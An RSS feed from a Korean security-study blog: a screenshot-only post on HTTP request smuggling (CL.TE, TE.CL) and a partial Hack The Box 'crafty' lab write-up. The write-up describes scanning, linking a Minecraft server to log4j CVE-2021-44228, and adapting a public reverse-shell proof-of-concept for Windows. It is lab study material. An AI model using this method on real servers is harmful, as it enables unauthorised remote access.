<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Oh! JUN</title>
    <link>https://securitystudy.tistory.com/</link>
    <description>Oh! JUN  Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JUN Oh! JU</description>
    <language>ko</language>
    <pubDate>Sat, 9 May 2026 08:16:58 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Kwon Oh! JUN</managingEditor>
    <image>
      <title>Oh! JUN</title>
      <url>https://tistory1.daumcdn.net/tistory/4867068/attach/775de359a6c84102899aa1144c4e5eb3</url>
      <link>https://securitystudy.tistory.com</link>
    </image>
    <item>
      <title>HTTP Request smuggling</title>
      <link>https://securitystudy.tistory.com/169</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1. CL.TE&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;CL_TE 1-1.png&quot; data-origin-width=&quot;2081&quot; data-origin-height=&quot;1001&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RqPgL/dJMcaaxld2L/LVJXNZtkMk2UVIQFjCWHI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RqPgL/dJMcaaxld2L/LVJXNZtkMk2UVIQFjCWHI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RqPgL/dJMcaaxld2L/LVJXNZtkMk2UVIQFjCWHI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRqPgL%2FdJMcaaxld2L%2FLVJXNZtkMk2UVIQFjCWHI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2081&quot; height=&quot;1001&quot; data-filename=&quot;CL_TE 1-1.png&quot; data-origin-width=&quot;2081&quot; data-origin-height=&quot;1001&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;CL_TE 1-2.png&quot; data-origin-width=&quot;2095&quot; data-origin-height=&quot;1016&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5OfLS/dJMcaaxld2K/kN894IhbVTvYupqjaQPh3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5OfLS/dJMcaaxld2K/kN894IhbVTvYupqjaQPh3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5OfLS/dJMcaaxld2K/kN894IhbVTvYupqjaQPh3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5OfLS%2FdJMcaaxld2K%2FkN894IhbVTvYupqjaQPh3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2095&quot; height=&quot;1016&quot; data-filename=&quot;CL_TE 1-2.png&quot; data-origin-width=&quot;2095&quot; data-origin-height=&quot;1016&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. TE.CL&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;HRS 1-1.png&quot; data-origin-width=&quot;2088&quot; data-origin-height=&quot;980&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uv2Q2/dJMcacu9bWH/HRItn9xwmtIL31i2QQzeP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uv2Q2/dJMcacu9bWH/HRItn9xwmtIL31i2QQzeP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uv2Q2/dJMcacu9bWH/HRItn9xwmtIL31i2QQzeP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuv2Q2%2FdJMcacu9bWH%2FHRItn9xwmtIL31i2QQzeP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2088&quot; height=&quot;980&quot; data-filename=&quot;HRS 1-1.png&quot; data-origin-width=&quot;2088&quot; data-origin-height=&quot;980&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;HRS 1-2.png&quot; data-origin-width=&quot;2081&quot; data-origin-height=&quot;993&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ0ndV/dJMcajgHqpe/Lki1hRO0aXvwnCX84jwmfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ0ndV/dJMcajgHqpe/Lki1hRO0aXvwnCX84jwmfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ0ndV/dJMcajgHqpe/Lki1hRO0aXvwnCX84jwmfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ0ndV%2FdJMcajgHqpe%2FLki1hRO0aXvwnCX84jwmfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2081&quot; height=&quot;993&quot; data-filename=&quot;HRS 1-2.png&quot; data-origin-width=&quot;2081&quot; data-origin-height=&quot;993&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>웹 해킹</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/169</guid>
      <comments>https://securitystudy.tistory.com/169#entry169comment</comments>
      <pubDate>Mon, 26 Jan 2026 23:24:46 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] crafty (보류 =&amp;gt; 문제해결 =&amp;gt; 또 안됨)</title>
      <link>https://securitystudy.tistory.com/166</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 정보 수집&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BNiud/btsE9MOdKwl/qdQMK3AgRBSRgB8GxtC2Uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BNiud/btsE9MOdKwl/qdQMK3AgRBSRgB8GxtC2Uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BNiud/btsE9MOdKwl/qdQMK3AgRBSRgB8GxtC2Uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBNiud%2FbtsE9MOdKwl%2FqdQMK3AgRBSRgB8GxtC2Uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;541&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'80'번 포트 열려있는거 확인할 수 있고 접속해볼거임.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1897&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2c3ZH/btsE7qLImRt/PWh0UWQvV1wn0HbCOD6XnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2c3ZH/btsE7qLImRt/PWh0UWQvV1wn0HbCOD6XnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2c3ZH/btsE7qLImRt/PWh0UWQvV1wn0HbCOD6XnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2c3ZH%2FbtsE7qLImRt%2FPWh0UWQvV1wn0HbCOD6XnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1897&quot; height=&quot;1125&quot; data-origin-width=&quot;1897&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브 도메인은 20000개 돌렸는데도 발견되는건 없음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q618d/btsE2CsRwhL/0qDkfOuixWxgUdYQvvkyH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q618d/btsE2CsRwhL/0qDkfOuixWxgUdYQvvkyH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q618d/btsE2CsRwhL/0qDkfOuixWxgUdYQvvkyH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ618d%2FbtsE2CsRwhL%2F0qDkfOuixWxgUdYQvvkyH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;1125&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'80'번 포트로 접속해봤는데 play.crafty.htb도 접속도 안되고 딱히 정보가 없음.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1dTPk/btsE9YVcp7U/em8Ikl0keSipLuNwqcBbJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1dTPk/btsE9YVcp7U/em8Ikl0keSipLuNwqcBbJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1dTPk/btsE9YVcp7U/em8Ikl0keSipLuNwqcBbJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1dTPk%2FbtsE9YVcp7U%2Fem8Ikl0keSipLuNwqcBbJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1568&quot; height=&quot;1125&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 포트를 전체 스캔을 했는데 '25565' 마인크래프트 게임 관련된 포트인거 같음.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 초기 접근&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;531&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nec4l/btsE4Z2mTSp/KwITM25CKb3DC5MVN73ST1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nec4l/btsE4Z2mTSp/KwITM25CKb3DC5MVN73ST1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nec4l/btsE4Z2mTSp/KwITM25CKb3DC5MVN73ST1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnec4l%2FbtsE4Z2mTSp%2FKwITM25CKb3DC5MVN73ST1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;531&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;531&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1933&quot; data-origin-height=&quot;889&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baFb1y/btsE942gzks/KM0btdMTKulY5wJ9Q2Q4x0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baFb1y/btsE942gzks/KM0btdMTKulY5wJ9Q2Q4x0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baFb1y/btsE942gzks/KM0btdMTKulY5wJ9Q2Q4x0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaFb1y%2FbtsE942gzks%2FKM0btdMTKulY5wJ9Q2Q4x0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1933&quot; height=&quot;889&quot; data-origin-width=&quot;1933&quot; data-origin-height=&quot;889&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'Minecraft 1.16.5 cve' 검색하니까 마인크래프트 사이트에서 log4j 보안 취약성에 대한 공지문을 확인할 수 있었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;figure id=&quot;og_1708418743113&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.&quot; data-og-description=&quot;A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/kozmer/log4j-shell-poc&quot; data-og-url=&quot;https://github.com/kozmer/log4j-shell-poc&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/BtHvH/hyVmYrVCrg/D1dlI2JNhxQQLArPzmJcK1/img.png?width=433&amp;amp;height=713&amp;amp;face=0_0_433_713&quot;&gt;&lt;a href=&quot;https://github.com/kozmer/log4j-shell-poc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/kozmer/log4j-shell-poc&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/BtHvH/hyVmYrVCrg/D1dlI2JNhxQQLArPzmJcK1/img.png?width=433&amp;amp;height=713&amp;amp;face=0_0_433_713');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'log4j exploit' 입력하니까 해당 github 확인할 수 있었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dt39JI/btsE8QckaEq/yl83L91qZk7kPuqzObUnM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dt39JI/btsE8QckaEq/yl83L91qZk7kPuqzObUnM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dt39JI/btsE8QckaEq/yl83L91qZk7kPuqzObUnM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdt39JI%2FbtsE8QckaEq%2Fyl83L91qZk7kPuqzObUnM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;411&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, 해당 파일 git clone 해줌&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsgxKi/btsE6HApmYk/PI3dAYQtX1AvDYjjpKcTlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsgxKi/btsE6HApmYk/PI3dAYQtX1AvDYjjpKcTlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsgxKi/btsE6HApmYk/PI3dAYQtX1AvDYjjpKcTlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsgxKi%2FbtsE6HApmYk%2FPI3dAYQtX1AvDYjjpKcTlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;585&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;poc.py 코드 수정 해줄게 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;651&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/44oNr/btsE6UM6DBQ/MceoEHvUwgIFg3qcv2ME5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/44oNr/btsE6UM6DBQ/MceoEHvUwgIFg3qcv2ME5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/44oNr/btsE6UM6DBQ/MceoEHvUwgIFg3qcv2ME5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F44oNr%2FbtsE6UM6DBQ%2FMceoEHvUwgIFg3qcv2ME5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;651&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;651&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String cmd = &quot;\bin\bash&quot;;로 되어있는거 windows 환경에 맞추어서 cmd.exe로 바꿔주었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1067&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m2tLt/btsE8BTK3Za/KANpJbK3mk9tlNSuKK0k91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m2tLt/btsE8BTK3Za/KANpJbK3mk9tlNSuKK0k91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m2tLt/btsE8BTK3Za/KANpJbK3mk9tlNSuKK0k91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm2tLt%2FbtsE8BTK3Za%2FKANpJbK3mk9tlNSuKK0k91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;1067&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1067&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'/home/kali/crafty/log4j-shell-poc/jdk 1.8.0_20/bin/java'를 찾을 수 없다고 함.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2NJtT/btsE8PYNl81/4qT0kpQzNwksWTX5QqLOT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2NJtT/btsE8PYNl81/4qT0kpQzNwksWTX5QqLOT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2NJtT/btsE8PYNl81/4qT0kpQzNwksWTX5QqLOT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2NJtT%2FbtsE8PYNl81%2F4qT0kpQzNwksWTX5QqLOT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1928&quot; height=&quot;1125&quot; data-origin-width=&quot;1928&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jdk1.8.0_181 다운받고 스크립트에서 인식할 수 있도록 이름을 jdk1.8.0_20 변경.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1396&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddv974/btsE6SBH55z/B7WJkKmTzsCovIslDTanlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddv974/btsE6SBH55z/B7WJkKmTzsCovIslDTanlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddv974/btsE6SBH55z/B7WJkKmTzsCovIslDTanlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fddv974%2FbtsE6SBH55z%2FB7WJkKmTzsCovIslDTanlk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1396&quot; height=&quot;1125&quot; data-origin-width=&quot;1396&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;poc.py 이미 실행해서 1389, 80번 포트를 사용중이어서 kill 해줘야됨.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
